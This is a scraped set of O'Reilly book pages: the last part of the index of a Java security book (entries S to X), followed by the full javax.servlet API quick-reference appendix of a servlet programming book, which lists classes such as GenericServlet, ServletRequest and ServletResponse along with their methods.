6.3.6. Establishing a Security Policy in 1.2
D.8. Miscellaneous Packages
software, commercial: 7.1. The Need for Authentication
C.2. Third-Party Security Providers
SPI (security provider interface): 8.4. The Architecture of Engine Classes
spoofing: 7.1.1. Author Authentication
C.1.1. Java Security Bugs
SSL encryption: 7.1.3. Java's Role in Authentication
13.6.3. SSL Encryption
SSLSocket class: 13.6.3. SSL Encryption
stack trace of threads: 5.5. The AccessController Class
state, object: 2.1.1. Object Serialization and Memory Integrity
store( ), KeyStore class: 11.2. The KeyStore Class
-storepass option (jarsigner): A.2.1. Creating a Signed JAR File
-storepass option (keytool): A.1.1. Global Options to keytool
-storepassword option (keystore): A.1.8. Miscellaneous Commands
streams
cipher streams: 13.6. Cipher Streams
D.5. Package javax.crypto
digest streams: D.1. Package java.security
message digest: 9.2. Message Digest Streams
strength, encryption: 10.2.1. Using the KeyPairGenerator Class
11.3. A Key Management Example
StrictSecurityManager class (example): 6.3.7.2. A complete 1.1 security manager
Sun JCE security provider: 13.2. The Sun Security Provider in the JCE
cipher algorithms: 13.5.2. Cipher Algorithms
encryption modes: 13.5. Encrypting Data
key agreement algorithm: 13.7. Symmetric Key Agreement
padding schemes: 13.5. Encrypting Data
sun.security.X509.X509CertImpl class: 12.1.3. Signing and Certificates
SunJCE class: 13.2. The Sun Security Provider in the JCE
cipher algorithms: 13.5.2. Cipher Algorithms
encryption modes: 13.5. Encrypting Data
key agreement algorithm: 13.7. Symmetric Key Agreement
padding schemes: 13.5. Encrypting Data
sun.misc.Launcher class: 1.4.2. Built-in Java Application Security
symmetric key agreements: 13.7. Symmetric Key Agreement
system resources protecting with security managers: 4.3.6. Methods Protecting System Resources

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T

TBS certificates: 10.4.4. Advanced X509Certificate Methods
10.4.5. Revoked Certificates
testing security managers: 6.1.1. The Class Loader Depth
third-party security providers: C.2. Third-Party Security Providers
threads
all classes on stack of: 6.1. Protected Methods of the Security Manager
permissions for: 6.3.4. Implementing Thread Security
priority of: 2.1. Java Language Security Constructs
protecting with security managers: 4.3.5. Methods Protecting Program Threads
securing: 6.3.4. Implementing Thread Security
security policy for: 6.3.7.4. Implementing network, thread, and package access
stack traces of: 5.5. The AccessController Class
threats
compilers writing illegal code: 2.2.2. The Bytecode Verifier
DNS (IP) spoofing: 7.1.1. Author Authentication
C.1.1. Java Security Bugs
forging digital signatures: 7.3.3. Digital Signatures
network access: 4.3.3. Methods Relating to Network Access
object serialization as: 2.1.1. Object Serialization and Memory Integrity
secret key storage: 7.3.2. Cryptographic Keys
security bugs: C.1. Security Bugs
snooping private data: 7.1.2. Data Authentication
using AllPermission class: 5.2.2. Permissions of the Java API
viruses and Trojan horses: 1.1. What Is Security?
top-level windows, calling: 4.3.6. Methods Protecting System Resources
toString( )
Identity class: B.1.1.3. The Identity class and the security manager
MessageDigest class: 9.1. Using the Message Digest Class
Permission class: 5.2.3. Using the Permission Class
Provider class: 8.2.1. Using the Provider Class
Signature class: 12.1.1. Using the Signature Class
tracking security bugs: C.1.2. Tracking Security Bugs
transient keyword: 2.1.1. Object Serialization and Memory Integrity
translateKey( ), KeyFactory class: 10.3.1. Using the KeyFactory class
triple-DES: 13.5.2. Cipher Algorithms
Trojan horses: 1.1. What Is Security?
trusted classes: 4.2. Trusted and Untrusted Classes
4.3.2. Methods Relating to File Access
(see also untrusted classes)
as members of untrusted classes: 6.1. Protected Methods of the Security Manager
types of permission: 5.2.1. The Permission Class
5.2.1. The Permission Class
(see also specific permission type)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U

uninitialized variables: 2.1. Java Language Security Constructs
UnresolvedPermission class: 5.2.2. Permissions of the Java API
D.1. Package java.security
untrusted classes: 4.2. Trusted and Untrusted Classes
file access and: 4.3.2. Methods Relating to File Access
network access and: 4.3.3. Methods Relating to Network Access
opening sockets, inCheck variable and: 6.1.2. Protected Instance Variables in the Security Manager
trusted classes as members of: 6.1. Protected Methods of the Security Manager
update( )
Cipher class: 13.5.1. Using the Cipher Class
MessageDigest class: 9.1. Using the Message Digest Class
Signature class: 12.1.1. Using the Signature Class
12.1.1. Using the Signature Class
URL class: 13.6.3. SSL Encryption
URL class loaders: 3.2.5. The URL Class Loader
3.6.1. Delegation
D.8. Miscellaneous Packages
defining classes in packages: 3.4.3. Implementing Security Policies in the Class Loader
URLClassLoader class: D.8. Miscellaneous Packages
URLs, reading policies from: 5.3.1. The Default Policy
U.S. restriction on encryption: 13.1. Export Restrictions
-usepolicy flag: 1.4.2. Built-in Java Application Security
1.4.2. Built-in Java Application Security
5.3.1. The Default Policy
user information, access to: 4.3.6. Methods Protecting System Resources
utility classes for policy implementation: 6.3.1. Utility Classes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V

validate( ), Certificate class: 10.4.5. Revoked Certificates
-validity option (keytool): A.1.3. Adding a Key Entry
variables
array bounds checking: 2.1. Java Language Security Constructs
2.2.3. Runtime Enforcement
final (constants): 2.1. Java Language Security Constructs
modifying: 2.2.2. The Bytecode Verifier
initializing: 2.1. Java Language Security Constructs
of security managers: 6.1.2. Protected Instance Variables in the Security Manager
transient: 2.1.1. Object Serialization and Memory Integrity
-verbose option (jarsigner): A.2.1. Creating a Signed JAR File
verify( )
Signature class: 12.1.1. Using the Signature Class
SignedObject class: 12.1.2. The SignedObject Class
X509CRL class: 10.4.5. Revoked Certificates
-verify option: 2.2.2.3. Controlling bytecode verification
verifying
JAR files: A.2.2. Verifying a JAR File
message digests: 9.1. Using the Message Digest Class
versions of Java: 0.2. Versions Used in This Book
secure applications and: 1.4.2. Built-in Java Application Security
SPI and: 8.4. The Architecture of Engine Classes
trusted classes: 4.2. Trusted and Untrusted Classes
virtual machine
access controller and class loaders: 3.1.1. Class Loaders and Security Enforcement
adding security providers: 8.1.2. Choosing a Security Provider
8.3. The Security Class
casting illegally and: 2.1. Java Language Security Constructs
2.2.3. Runtime Enforcement
listing security providers: 8.3. The Security Class
protecting with security managers: 4.3.4. Methods Protecting the Java Virtual Machine
reading into (see class loaders)
runtime bytecode verification: 2.2.3. Runtime Enforcement
viruses: 1.1. What Is Security?
in commercial software: 7.1. The Need for Authentication

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W

weaponry and encryption: 13.1. Export Restrictions
wildcards for permissions: 5.2.1. The Permission Class
5.2.1. The Permission Class
5.2.4. The BasicPermission Class
windowing resources, permissions for: 5.2.2. Permissions of the Java API
windows, calling: 4.3.6. Methods Protecting System Resources
writeExternal( ), Externalizable interface: 2.1.1. Object Serialization and Memory Integrity
writeObject( ): 2.1.1. Object Serialization and Memory Integrity
writing identity scopes: B.2.2. Writing an Identity Scope
writing key identities: B.3.4. Creating Identities
writing to files: 4.3.2. Methods Relating to File Access

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X

X509 certificates: 10.4.3. The X509Certificate Class
advanced methods for: 10.4.4. Advanced X509Certificate Methods
distinguished names (DNs): 11.1.1. Principals
revoked: 10.4.5. Revoked Certificates
serialization and: 12.1.3. Signing and Certificates
X509Certificate class: 10.4.3. The X509Certificate Class
D.2. Package java.security.cert
X509CRL class: 10.4.5. Revoked Certificates
D.2. Package java.security.cert
X509EncodedKeySpec class: 10.3.3.1. The EncodedKeySpec class
D.4. Package java.security.spec
X509Extension class: D.2. Package java.security.cert

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Java Security Search Page

Java™ Security Search this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Servlet API Quick Reference (Java Servlet Programming)

 Book Home Java Servlet Programming Search this book

Appendix A. Servlet API Quick Reference

The javax.servlet package is the core of the Servlet API. It includes the basic Servlet interface, which all servlets must implement in one form or another, and an abstract GenericServlet class for developing basic servlets. This package also includes classes for communication with the host server and client (ServletRequest and ServletResponse) and communicating with the client (ServletInputStream and ServletOutputStream). The class hierarchy of the javax.servlet package is shown in Figure A-1. Servlets should confine themselves to the classes in this package in situations where the underlying protocol is unknown.

Figure A-1. The javax.servlet package

GenericServlet

Synopsis

 Class Name: javax.servlet.GenericServlet
Superclass: java.lang.Object
Immediate Subclasses javax.servlet.http.HttpServlet
Interfaces Implemented:javax.servlet.Servletjavax.servlet.ServletConfigjava.io.Serializable
Availability: Servlet API 1.0 and later

Description

GenericServlet provides a basic implementation of the Servlet interface for protocol-independent servlets. As a convenience, it also implements the ServletConfig interface. Most servlet developers subclass this class or HttpServlet, rather than implement the Servlet interface directly.

GenericServlet includes basic versions of the init() and destroy() methods, which perform basic setup and cleanup tasks, such as managing the server's ServletConfig object. It's good form for a servlet that overrides one of these methods to call the superclass version of the method. GenericServlet also includes a log() method that provides easy access to the logging functions from ServletContext.

The service() method is declared as abstract and must be overridden. Well written servlets also override getServletInfo().

Class Summary

public abstract class GenericServlet
 implements Servlet, ServletConfig, java.io.Serializable {
  // Constructors
  public GenericServlet();

  // Instance Methods
  public void destroy();
  public String getInitParameter(String name);
  public Enumeration getInitParameterNames();
  public ServletConfig getServletConfig();
  public ServletContext getServletContext();
  public String getServletInfo();
  public void init(ServletConfig config) throws ServletException;
  public void log(String msg);
  public abstract void service(ServletRequest req, ServletResponse res)
    throws ServletException, IOException;
}

Constructors

GenericServlet()

public GenericServlet()
Description
The default GenericServlet constructor does no work. Any servlet initialization tasks should be performed in init(), rather than in the constructor.

Instance Methods

destroy()

public void destroy()
Description
Called by the server before unloading the servlet. The default implementation logs the servlet's destruction in the server log file using the log() method. A servlet can override this method to save its state, free its resources, etc.

getInitParameter()

public String getInitParameter(String name)
Description
Returns the value of the named servlet initialization parameter or null if no matching parameter is found. From the ServletConfig interface.

getInitParameterNames()

public Enumeration getInitParameterNames()
Description
Returns all the servlet's init parameter names as an Enumeration of String objects or an empty Enumeration if no parameters exist. From the ServletConfig interface.

getServletConfig()

public ServletConfig getServletConfig()
Description
Returns the servlet's ServletConfig object. In practice, this method is rarely called by a GenericServlet because all of the ServletConfig methods are duplicated internally.

getServletContext()

public ServletContext getServletContext()
Description
Returns the servlet's ServletContext object. From the ServletConfig interface.

getServletInfo()

public String getServletInfo()
Description
Returns a programmer-defined String that describes the servlet. A servlet should override this method and provide a customized identity string (e.g., "Al's Message Board Servlet v1.21"), but it is not required.

init()

public void init(ServletConfig config) throws ServletException
Description
Called by the server after the servlet is first loaded and before the servlet's service() method is called. The default implementation of init() logs the servlet's initialization and stores the ServletConfig object for use by the methods in the ServletConfig interface. A servlet can override this method to perform additional one-time setup, creation of resources, etc. A servlet should always call the superclass implementation of init() using super.init(config) before executing any custom initialization code.

log()

public void log(String msg)
Description
Writes the given message to a servlet log, usually an event log file. Both the output format and location are server-specific.

service()

public abstract void service(ServletRequest req, ServletResponse res)
  throws ServletException, IOException
Description
Called to handle a single client request. A servlet receives request information via a ServletRequest object and sends data back to the client via a ServletResponse object. This is the only method that must be overridden when extending GenericServlet. Because multiple service requests may execute concurrently, the service() method must be thread safe, unless the servlet also implements the SingleThreadModel interface.
Servlet

Synopsis

 Interface Name: javax.servlet.Servlet
Super-interface: None
Immediate Subinterfaces: None
Implemented By: javax.servlet.GenericServlet
Availability: Servlet API 1.0 and later

Description

All servlets implement the Servlet interface, either directly or by subclassing the GenericServlet or HttpServlet class. Most servlet developers find it easier to subclass one of the two existing servlet classes than to implement this interface directly. The interface declares the basic servlet functionality--initializing a servlet, handling a client request, and destroying a servlet.

Interface Declaration

public interface Servlet {
  // Methods
  public abstract void destroy();
  public abstract ServletConfig getServletConfig();
  public abstract String getServletInfo();
  public abstract void init(ServletConfig config) throws ServletException;
  public abstract void service(ServletRequest req, ServletResponse res)
    throws ServletException, IOException;
}

Methods

destroy()

public abstract void destroy()
Description
Called when the server is preparing to unload a servlet. Used to clean up any outstanding resources (database connections, threads, file handles and so forth). The servlet programmer is responsible for making sure that any requests currently executing are allowed to finish.

getServletConfig()

public abstract ServletConfig getServletConfig()
Description
Returns the ServletConfig object passed to the init() method.

getServletInfo()

public abstract String getServletInfo()
Description
Returns a programmer-defined String that describes the servlet.

init()

public abstract void init(ServletConfig config) throws ServletException
Description
Called by the server when the servlet is first loaded. The init() method should store the ServletConfig object for retrieval by getServletConfig(). When using either GenericServlet or HttpServlet, the default init() implementation handles this task. This method can also be used to perform any one-time actions required by the servlet, such as creating database connections. It is guaranteed to finish before any client requests are accepted.

service()

public abstract void service(ServletRequest req, ServletResponse res)
  throws ServletException, IOException
Description
Called to handle a single client request. A servlet receives request information via the ServletRequest object and sends data back to the client via the ServletResponse object.
ServletConfig

Synopsis

Interface Name: javax.servlet.ServletConfig
Superinterface: None
Immediate Subinterfaces: None
Implemented By: javax.servlet.GenericServlet
Availability: Servlet API 1.0 and later

Description

Servers use ServletConfig objects to pass initialization and context information to servlets. The initialization information generally consists of a series of initialization parameters (init parameters) and a ServletContext object, which provides information about the server environment. A servlet can implement Servlet-Config to allow easy access to init parameters and context information, as GenericServlet does.

Interface Declaration

public interface ServletConfig {
  // Methods
  public abstract String getInitParameter(String name);
  public abstract Enumeration getInitParameterNames();
  public abstract ServletContext getServletContext();
}

Methods

getInitParameter()

public abstract String getInitParameter(String name)
Description
Returns the value of the named servlet initialization parameter or null if no matching parameter is found.

getInitParameterNames()

public abstract Enumeration getInitParameterNames()
Description
Returns the names of all the servlet's initialization parameters as an Enumeration of String objects or an empty Enumeration if no parameters exist.

getServletContext()

public abstract ServletContext getServletContext()
Description
Returns the ServletContext object for this servlet, allowing interaction with the server.
ServletContext

Synopsis

Interface Name: javax.servlet.ServletContext
Superinterface: None
Immediate Subinterfaces: None
Implemented By: None
Availability: Servlet API 1.0 and later

Description

The ServletContext interface defines a set of methods that can be used to communicate with the server in a non-request-specific manner. This includes finding path information, accessing other servlets running on the server, and writing to the server log file. Different virtual servers may return different servlet contexts.

Interface Declaration

public interface ServletContext {
  // Methods
  public abstract Object getAttribute(String name);
  public abstract String getMimeType(String file);
  public abstract String getRealPath(String path);
  public abstract String getServerInfo();
  public abstract Servlet getServlet(String name) throws ServletException;
  public abstract Enumeration getServletNames();             // New in 2.0
  public abstract Enumeration getServlets();                 // Deprecated
  public abstract void log(Exception exception, String msg); // New in 2.0
  public abstract void log(String msg);
}

Methods

getAttribute()

public abstract Object getAttribute(String name)
Description
Returns the value of the named server attribute as an Object or null if the attribute does not exist. The attributes are server-dependent and allow web servers to provide servlets with information above and beyond that provided for by the base Servlet API. Attribute names should follow the same convention as package names. The package names java.* and javax.* are reserved for use by the Java Software division of Sun Microsystems (formerly known as JavaSoft), and com.sun.* is reserved for use by Sun Microsystems. See your server's documentation for a list of its attributes. Remember that servlets relying on server-specific attributes are not portable.

getMimeType()

public abstract String getMimeType(String file)
Description
Returns the MIME type of the given file or null if it is not known. Some implementations return "text/plain" if the specified file does not exist. Common MIME types are "text/html", "text/plain", "image/gif", and "image/jpeg".

getRealPath()

public abstract String getRealPath(String path)
Description
Returns the real file system path of any given "virtual path" or null if the translation cannot be performed. If the given path is "/", the method returns the document root for the servlet. If the given path is the same as the one returned by getPathInfo(), the method returns the same real path as would be returned by getPathTranslated(). There is no CGI counterpart.

getServerInfo()

public abstract String getServerInfo()
Description
Returns the name and version of the server software, separated by a forward slash (/). The value is the same as the CGI variable SERVER_SOFTWARE.

getServlet()

public abstract Servlet getServlet(String name) throws ServletException
Description
Returns the loaded servlet matching the given name or null if the servlet is not found. The specified name can be the servlet's registered name (e.g., "file") or class name (e.g., "com.sun.server.webserver .FileServlet"). The server maintains one servlet instance per name, so getServlet("file") returns a different servlet instance than get-Servlet("com.sun.server.webserver.FileServlet"). If the servlet implements SingleThreadModel, the server may return any instance of the servlet from the current pool. The server may--but is not required to--load the named servlet and execute its init() method if it was not already loaded. A ServletException is thrown if there is a problem during the load.

getServletNames()

public abstract Enumeration getServletNames()
Description
Returns an Enumeration of the names of the servlet objects loaded in this context. When used with getServlet(String name), it can replace the deprecated getServlets(). This method was introduced in the Servlet API 2.0.

getServlets()

public abstract Enumeration getServlets() throws ServletException
Description
Returns an Enumeration of the Servlet objects loaded in this context. This method was deprecated in the Servlet API 2.0 in favor of getServletNames().

log()

public abstract void log(Exception exception, String msg)
Description
Writes an exception's stack trace and a given message to a servlet log, usually an event log file. Both output format and location are server-specific. Notice the non-standard placement of the optional Exception parameter as the first parameter instead of the last. This method was introduced in the Servlet API 2.0.
public abstract void log(String msg)
Description
Writes the given message to a servlet log, usually an event log file. Both the output format and location are server-specific.
ServletException

Synopsis

Class Name: javax.servlet.ServletException
Superclass: java.lang.Exception
Immediate Subclasses:javax.servlet.UnavailableException
Interfaces Implemented: None
Availability: Servlet API 1.0 and later

Description

A generic exception thrown by servlets encountering difficulties.

Class Summary

public class ServletException extends java.lang.Exception {
  // Constructors
  public ServletException();                           // New in 2.0
  public ServletException(String msg);
}

Constructors

ServletException()

public ServletException()
public ServletException(String msg)
Description
Constructs a new ServletException , with an optional descriptive message. If a message is specified, it can be retrieved by calling getMessage() and is usually included in server logs and user error messages.
ServletInputStream

Synopsis

Class Name: javax.servlet.ServletInputStream
Superclass: java.io.InputStream
Immediate Subclasses: None
Interfaces Implemented: None
Availability: Servlet API 1.0 and later

Description

Provides an input stream for reading binary data from a client request, including an efficient readLine() method for reading data one line at a time. A ServletInputStream is returned by the getInputStream() method of ServletRequest. A servlet that filters binary output from other sources generally gets its input via this stream.

Class Summary

public abstract class ServletInputStream extends java.io.InputStream {
  // Constructors
  protected ServletInputStream();

  // Instance Methods
  public int readLine(byte b[], int off, int len) throws IOException;
}

Constructors

ServletInputStream()

protected ServletInputStream()
Description
The default constructor does nothing. Because servlets rarely, if ever, create their own input streams, it can be safely ignored.

Instance Methods

readLine()

public int readLine(byte b[], int off, int len) throws IOException
Description
Reads bytes from the input stream into the byte array b, starting at an offset in the array given by off. It stops reading when it encounters an '\n' or it has read len number of bytes. The ending '\n' character is read into the buffer as well. Returns the number of bytes read, or -1 if the end of the stream is reached.
ServletOutputStream

Synopsis

 Class Name: javax.servlet.ServletOutputStream
Superclass: java.io.OutputStream
Immediate Subclasses: None
Interfaces Implemented: None
Availability: Servlet API 1.0 and later

Description

Provides an output stream for sending binary data back to a client. A servlet obtains a ServletOutputStream object from the getOutputStream() method of ServletResponse. Although it includes a range of print() and println() methods for sending text or HTML, the ServletOutputStream has been superseded by PrintWriter. It should be used only for sending binary data or with early servlet implementations built on the Servlet API 1.0.

If you subclass ServletOutputStream, you must provide an implementation of the write(int) method.

Class Summary

public abstract class ServletOutputStream extends java.io.OutputStream {
  // Constructors
  protected ServletOutputStream();

  // Instance Methods
  public void print(boolean b) throws IOException;
  public void print(char c) throws IOException;
  public void print(double d) throws IOException;
  public void print(float f) throws IOException;
  public void print(int i) throws IOException;
  public void print(long l) throws IOException;
  public void print(String s) throws IOException;
  public void println() throws IOException;
  public void println(boolean b) throws IOException;
  public void println(char c) throws IOException;
  public void println(double d) throws IOException;
  public void println(float f) throws IOException;
  public void println(int i) throws IOException;
  public void println(long l) throws IOException;
  public void println(String s) throws IOException;
}

Constructors

ServletOutputStream()

protected ServletOutputStream()
Description
The default constructor does nothing.

Instance Methods

print()

public void print(boolean b) throws IOException
public void print(char c) throws IOException
public void print(double d) throws IOException
public void print(float f) throws IOException
public void print(int i) throws IOException
public void print(long l) throws IOException
public void print(String s) throws IOException
Description
Writes the given data to the client, without a trailing carriage return/line feed (CRLF).

println()

public void println() throws IOException
public void println(boolean b) throws IOException
public void println(char c) throws IOException
public void println(double d) throws IOException
public void println(float f) throws IOException
public void println(int i) throws IOException
public void println(long l) throws IOException
public void println(String s) throws IOException
Description
Writes the given data to the client, with a trailing CRLF. The method with no parameters simply writes a CRLF.
ServletRequest

Synopsis

 Interface Name: javax.servlet.ServletRequest
Superinterface: None
Immediate Subinterfaces: javax.servlet.http.HttpServletRequest
Implemented By: None
Availability: Servlet API 1.0 and later

Description

A ServletRequest object encapsulates information about a single client request, including request parameters, implementation-specific attributes, and an input stream for reading binary data from the request body. ServletRequest can be subclassed to provide additional protocol-specific information. HttpServletRequest, for instance, includes methods to manipulate HTTP headers.

Interface Declaration

public interface ServletRequest {
  // Methods
  public abstract Object getAttribute(String name);
  public abstract String getCharacterEncoding();                // New in 2.0
  public abstract int getContentLength();
  public abstract String getContentType();
  public abstract ServletInputStream getInputStream() throws IOException;
  public abstract String getParameter(String name);
  public abstract Enumeration getParameterNames();
  public abstract String[] getParameterValues(String name);
  public abstract String getProtocol();
  public abstract BufferedReader getReader() throws IOException;// New in 2.0
  public abstract String getRealPath(String path);
  public abstract String getRemoteAddr();
  public abstract String getRemoteHost();
  public abstract String getScheme();
  public abstract String getServerName();
  public abstract int getServerPort();
}

Methods

getAttribute()
public abstract Object getAttribute(String name)
Description
Returns the value of the named server-specific attribute as an Object, or null if the server does not support the named request attribute. Servers may use this method to provide servlets with custom information about a request. Attributes should follow the same conventions as package names, with the package names java.* and javax.* reserved for use by the Java Software division of Sun Microsystems (formerly known as JavaSoft), and com.sun.* reserved for use by Sun Microsystems. Remember that servlets that rely on server-specific request attributes are non-portable.

getCharacterEncoding()

public abstract String getCharacterEncoding()
Description
Returns the charset encoding for the servlet's input stream, or null if not known. This method was introduced in the Servlet API 2.0. It does not exist in the Java Web Server 1.1.x.

getContentLength()

public abstract int getContentLength()
Description
Returns the length, in bytes, of the content being sent via the input stream, or -1 if the length is not known (such as when there is no data). Equivalent to the CGI variable CONTENT_LENGTH.

getContentType()

public abstract String getContentType()
Description
Returns the media type of the content being sent via the input stream or null if the type is not known or there is no data. The same as the CGI variable CONTENT_TYPE.

getInputStream()

public abstract ServletInputStream getInputStream() throws IOException
Description
Retrieves the input stream as a ServletInputStream object. Servlet-InputStream is a direct subclass of InputStream and can be treated identically to a normal InputStream, with the added ability to efficiently read input a line at a time into an array of bytes. This method should be used for reading binary input. It throws an IllegalStateException if getReader() has been called before on the request. The IllegalState-Exception does not need to be explicitly caught.

getParameter()

public abstract String getParameter(String name)
Description
Returns the value of the named parameter as a String. Returns null if the parameter does not exist, or an empty string if the parameter exists but without a value. The value is guaranteed to be in its normal, decoded form. If the parameter has multiple values, the value returned is server dependent. If there is any chance that a parameter has more than one value, you should use the getParameterValues() method instead. If the parameter information came in as encoded POST data, it may not be available if the POST data has already been manually read using the getReader() or getInputStream() methods. This method was deprecated momentarily in favor of getParameterValues(), but thanks to an overwhelming flood of support from the developer community, it has been restored in the Servlet API 2.0.

getParameterNames()

public abstract Enumeration getParameterNames()
Description
Returns all the parameter names as an Enumeration of String objects. It returns an empty Enumeration if the servlet has no parameters.

getParameterValues()

public abstract String[] getParameterValues(String name)
Description
Returns all the values of the named parameter as an array of String objects, or null if the parameter does not exist. A single value is returned in an array of length 1.

getProtocol()

public abstract String getProtocol()
Description
Returns the name and version of the protocol used by the request as a string of the form protocol/major-version.minor-version. Equivalent to the CGI variable SERVER_PROTOCOL.

getReader()

public abstract BufferedReader getReader() throws IOException
Description
This method retrieves the input stream as a BufferedReader object, which should be used for reading character-based input, since the reader translates charsets as appropriate. This method throws an IllegalStateException if getInputStream() has been called before on this same request. It throws an UnsupportedEncodingException if the character encoding of the input is unsupported or unknown. This method was introduced in the Servlet API 2.0.

getRealPath()

public abstract String getRealPath(String path)
Description
Returns the real file system path of any given "virtual path" or null if the translation cannot be performed. If the given path is "/" it returns the document root for the server. If the given path is the same as the one returned by getPathInfo(), it returns the same real path as would be returned by getPathTranslated(). There is no CGI counterpart.

getRemoteAddr()

public abstract String getRemoteAddr()
Description
Returns the IP address of the client machine as a String. This information comes from the socket connecting the server to the client, so the remote address may be that of a proxy server. It is the same as the CGI variable REMOTE_ADDR.

getRemoteHost()

public abstract String getRemoteHost()
Description
Returns the name of the client host. This comes from the socket connecting the server to the client and may be the name of a proxy server. It is the same as the CGI variable REMOTE_HOST.

getScheme()

public abstract String getScheme()
Description
This method returns the scheme used to make this request. Examples include "http", "https", and "ftp", as well as the newer Java-specific schemes "jdbc" and "rmi".

getServerName()

public abstract String getServerName()
Description
Returns the name of the server that received the request. It is an attribute of the ServletRequest because it can change for different requests if the server has more than one name (a situation that might arise if one server is hosting more than one web site). Equivalent to the CGI variable SERVER_NAME.

getServerPort()

public abstract int getServerPort()
Description
Returns the port number on which this request was received. The same as the CGI variable SERVER_PORT.
ServletResponse

Synopsis

Interface Name: javax.servlet.ServletResponse
Superinterface: None
Immediate Subinterfaces: javax.servlet.http.HttpServletResponse
Interfaces Implemented: None
Availability: Servlet API 1.0 and later

Description

Servlets use ServletResponse objects to send MIME encoded data back to the client. The servlet engine creates this object and passes it to the servlet's service() method. To send binary data, use the ServletOutputStream returned by getOutputStream(). To send character data, use the PrintWriter returned by getWriter(). You can explicitly set the output's MIME type using the setContentType() method. If you elect to set this manually, do so before calling getWriter(), as getWriter() consults the content type to determine which charset to use. Consult RFC 2045 at http:/www.ietf.org/rfc/rfc2045.txt for more information on MIME.

Interface Declaration

public interface ServletResponse {
  // Methods
  public abstract String getCharacterEncoding();               // New in 2.0
  public abstract ServletOutputStream getOutputStream() throws IOException;
  public abstract PrintWriter getWriter() throws IOException;  // New in 2.0
  public abstract void setContentLength(int len);
  public abstract void setContentType(String type);
}

Methods

getCharacterEncoding()

public abstract String getCharacterEncoding()
Description
Returns the charset encoding used for this MIME body. This is the charset specified by the assigned content type or "ISO-8859-1" if no charset has been specified. This method was introduced in the Servlet API 2.0.

getOutputStream()

public abstract ServletOutputStream getOutputStream() throws IOException
Description
Returns a ServletOutputStream for writing binary (byte-at-a-time) response data. No encoding is performed. Throws an IllegalStateException if getWriter() has already been called on this response.

getWriter()

public abstract PrintWriter getWriter() throws IOException
Description
Returns a PrintWriter for writing character-based response data. The writer encodes the characters according to whatever charset is given in the content type. If no charset is specified in the content type, as is generally the case, the writer uses the ISO-8859-1 (Latin-1) encoding appropriate for Western European languages. Throws an IllegalStateException if getOutputStream() has already been called on this response, and an UnsupportedEncodingException if the encoding of the output stream is unsupported or unknown. This method was introduced in the Servlet API 2.0.

setContentLength()

public abstract void setContentLength(int len)
Description
Sets the length of the content being returned by the server. In HTTP servlets, it sets the HTTP Content-Length header. HTTP servlets use this method to enable persistent connections and help client progress monitors, so its use is optional.

setContentType()

public abstract void setContentType(String type)
Description
This method sets the content type of the response to be the specified type. In HTTP servlets, it sets the Content-Type HTTP header.
SingleThreadModel

Synopsis

Interface Name: javax.servlet.SingleThreadModel
Superinterface: None
Immediate Subinterfaces: None
Implemented By: None
Availability: New as of Servlet API 2.0; found in JSDK 2.0, JWS 1.1

Description

SingleThreadModel is a tag interface with no methods. If a servlet implements this interface, the server ensures that each instance of the servlet handles only one service request at a time. Servers implement this functionality by maintaining a pool of servlet instances and dispatching incoming requests to free servlets within the pool. SingleThreadModel provides easy thread safety, but at the cost of increased resource requirements as more servlet instances are loaded at any given time.

public interface SingleThreadModel {
}
UnavailableException

Synopsis

Class Name: javax.servlet.UnavailableException
Superclass: javax.servlet.ServletException
Immediate Subclasses: None
Interfaces Implemented: None
Availability: Servlet API 1.0 and later

Description

A servlet can throw an UnavailableException at any time to indicate that it is not available to service client requests. There are two types of unavailability: permanent (where some corrective action must be taken on the server) and temporary. A servlet is temporarily unavailable if some system-wide problem momentarily prevents it from servicing requests. This may include network troubles or a crashed or overloaded database server. To mark a servlet as temporarily unavailable, specify a duration (in seconds) when constructing the exception. Well-written servers check back after this time. Servlet implementations are not required to treat temporary and permanent unavailability differently.

Servers generally provide clients with polite error messages when handling requests for unavailable servlets. For example, the Java Web Server returns a 404 (Unavailable) message.

Class Summary

public class UnavailableException extends ServletException {
  // Constructors
  public UnavailableException(int seconds, Servlet servlet, String msg);
  public UnavailableException(Servlet servlet, String msg);

  // Instance Methods
  public Servlet getServlet();
  public int getUnavailableSeconds();
  public boolean isPermanent();
}

Constructors

UnavailableException()

public UnavailableException(int seconds, Servlet servlet, String msg)
public UnavailableException(Servlet servlet, String msg)
Description
Constructs an UnavailableException with a given explanatory message. You can optionally specify a period of unavailability, given in seconds. If no time estimate can be made, a nonpositive value can be passed to the constructor, indicating permanent unavailability. Notice the nonstandard placement of the optional seconds parameter as the first parameter instead of the last. This may be changed in an upcoming release.

getServlet()

public Servlet getServlet()
Description
Returns the servlet that threw this exception.

getUnavailableSeconds()

public int getUnavailableSeconds()
Description
Returns the number of seconds for which this servlet will be unavailable. A negative number indicates permanent unavailability. No attempt is made to compensate for the time elapsed since the exception was thrown.

isPermanent()

public boolean isPermanent()
Description
Returns true if the servlet is unavailable indefinitely, false otherwise.
Previous | Home | Next
13.8. Performance Tuning | Book Index | B. HTTP Servlet API Quick Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTTP Servlet API Quick Reference (Java Servlet Programming)

 Book Home Java Servlet Programming Search this book

Appendix B. HTTP Servlet API Quick Reference

